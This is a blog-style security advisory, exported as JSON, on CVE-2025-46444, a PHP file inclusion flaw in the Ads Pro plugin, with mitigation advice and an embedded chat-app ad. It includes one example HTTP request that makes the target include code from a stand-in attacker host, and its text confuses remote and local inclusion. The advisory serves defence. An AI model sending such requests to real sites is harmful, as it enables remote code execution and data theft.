{"id":48395,"date":"2025-06-03T09:02:11","date_gmt":"2025-06-03T09:02:11","guid":{"rendered":""},"modified":"2025-07-10T17:21:36","modified_gmt":"2025-07-10T23:21:36","slug":"cve-2025-46444-improper-control-of-filename-vulnerability-in-ads-pro-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-46444-improper-control-of-filename-vulnerability-in-ads-pro-plugin\/","title":{"rendered":"<strong>CVE-2025-46444: Improper Control of Filename Vulnerability in Ads Pro Plugin<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>This blog post aims to provide an in-depth understanding of the CVE-2025-46444 vulnerability. This security flaw is associated with the Ads Pro Plugin for scripteo, a plugin predominantly used for managing and selling advertising spaces. The vulnerability arises from an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-51360-remote-code-execution-vulnerability-in-hospital-management-system-in-php-v4-0\/\"  data-wpil-monitor-id=\"54352\">improper control of filename<\/a> for Include\/Require Statement in PHP Program (&#8216;PHP Remote File Inclusion&#8217;). Owing to this, the plugin allows PHP Local File Inclusion, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39495-high-critical-vulnerability-in-boldthemes-avantage-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"54185\">potentially leading to system<\/a> compromise or data leakage. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47637-critical-unrestricted-file-upload-vulnerability-in-staggs\/\"  data-wpil-monitor-id=\"54174\">vulnerability is particularly critical<\/a> to businesses and organizations that use the Ads Pro Plugin for their advertising needs, as it can lead to unauthorized access and potential exploitation of sensitive data.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-46444<br \/>\nSeverity: High (8.1 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32309-potential-system-compromise-due-to-remote-file-inclusion-in-php-program\/\"  data-wpil-monitor-id=\"56440\">System Compromise<\/a> and Data Leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3502261571\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Ads <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4800-arbitrary-file-upload-vulnerability-in-masterstudy-lms-pro-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"56489\">Pro Plugin<\/a> | n\/a through 4.88<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability arises due to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32925-critical-php-remote-file-inclusion-vulnerability-in-fantasticplugins-sumo-reward-points\/\"  data-wpil-monitor-id=\"55216\">improper control of the filename<\/a> for Include\/Require Statement in the PHP Program. It is related to a &#8216;PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31060-remote-file-inclusion-vulnerability-in-apustheme-capie\/\"  data-wpil-monitor-id=\"55859\">Remote File Inclusion<\/a>&#8216; (RFI) scenario, wherein an attacker can inject a file from a remote server. The flaw is a result of the inability of the application to properly sanitize user-supplied input. As a result, an attacker could manipulate the filename argument to reference a file on a remote server, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27010-path-traversal-vulnerability-in-bslthemes-tastyc-leading-to-php-local-file-inclusion\/\"  data-wpil-monitor-id=\"55820\">leading to local file<\/a> inclusion (LFI). This could allow the attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48828-arbitrary-php-code-execution-in-vbulletin-via-template-conditionals\/\"  data-wpil-monitor-id=\"55746\">execute arbitrary code<\/a>, potentially compromising the system and causing data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-722235719\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how an attacker might exploit this vulnerability:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/path\/to\/vulnerable\/script.php?filename=http:\/\/malicious.com\/malicious_code.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker is attempting to exploit the RFI <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-13952-predictable-filename-vulnerabilities-in-aspect-software\/\"  data-wpil-monitor-id=\"55296\">vulnerability in `script.php` by supplying a malicious filename<\/a> argument. This filename argument (`http:\/\/malicious.com\/malicious_code.txt`) is a URL that points to a file hosted on the attacker&#8217;s server. If the application fails to sanitize this input correctly, it could result in the inclusion and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3357-arbitrary-code-execution-vulnerability-in-ibm-tivoli-monitoring\/\"  data-wpil-monitor-id=\"56439\">execution of the malicious code<\/a> within the context of the application.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The most effective <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5310-remote-code-execution-vulnerability-in-dover-fueling-solutions-progauge-maglink-lx-consoles\/\"  data-wpil-monitor-id=\"65555\">solution to this vulnerability<\/a> is to apply the vendor-supplied patch. For those who are unable to apply the patch immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can help to detect and block suspicious and malicious activity, thereby reducing the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2021-47669-linux-kernel-vulnerability-allowing-potential-system-compromise\/\"  data-wpil-monitor-id=\"58109\">potential impact of the vulnerability<\/a>. However, these should only be considered as temporary solutions, and it is strongly recommended to apply the vendor patch as soon as possible to ensure comprehensive protection.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview This blog post aims to provide an in-depth understanding of the CVE-2025-46444 vulnerability. This security flaw is associated with the Ads Pro Plugin for scripteo, a plugin predominantly used for managing and selling advertising spaces. The vulnerability arises from an improper control of filename for Include\/Require Statement in PHP Program (&#8216;PHP Remote File Inclusion&#8217;). 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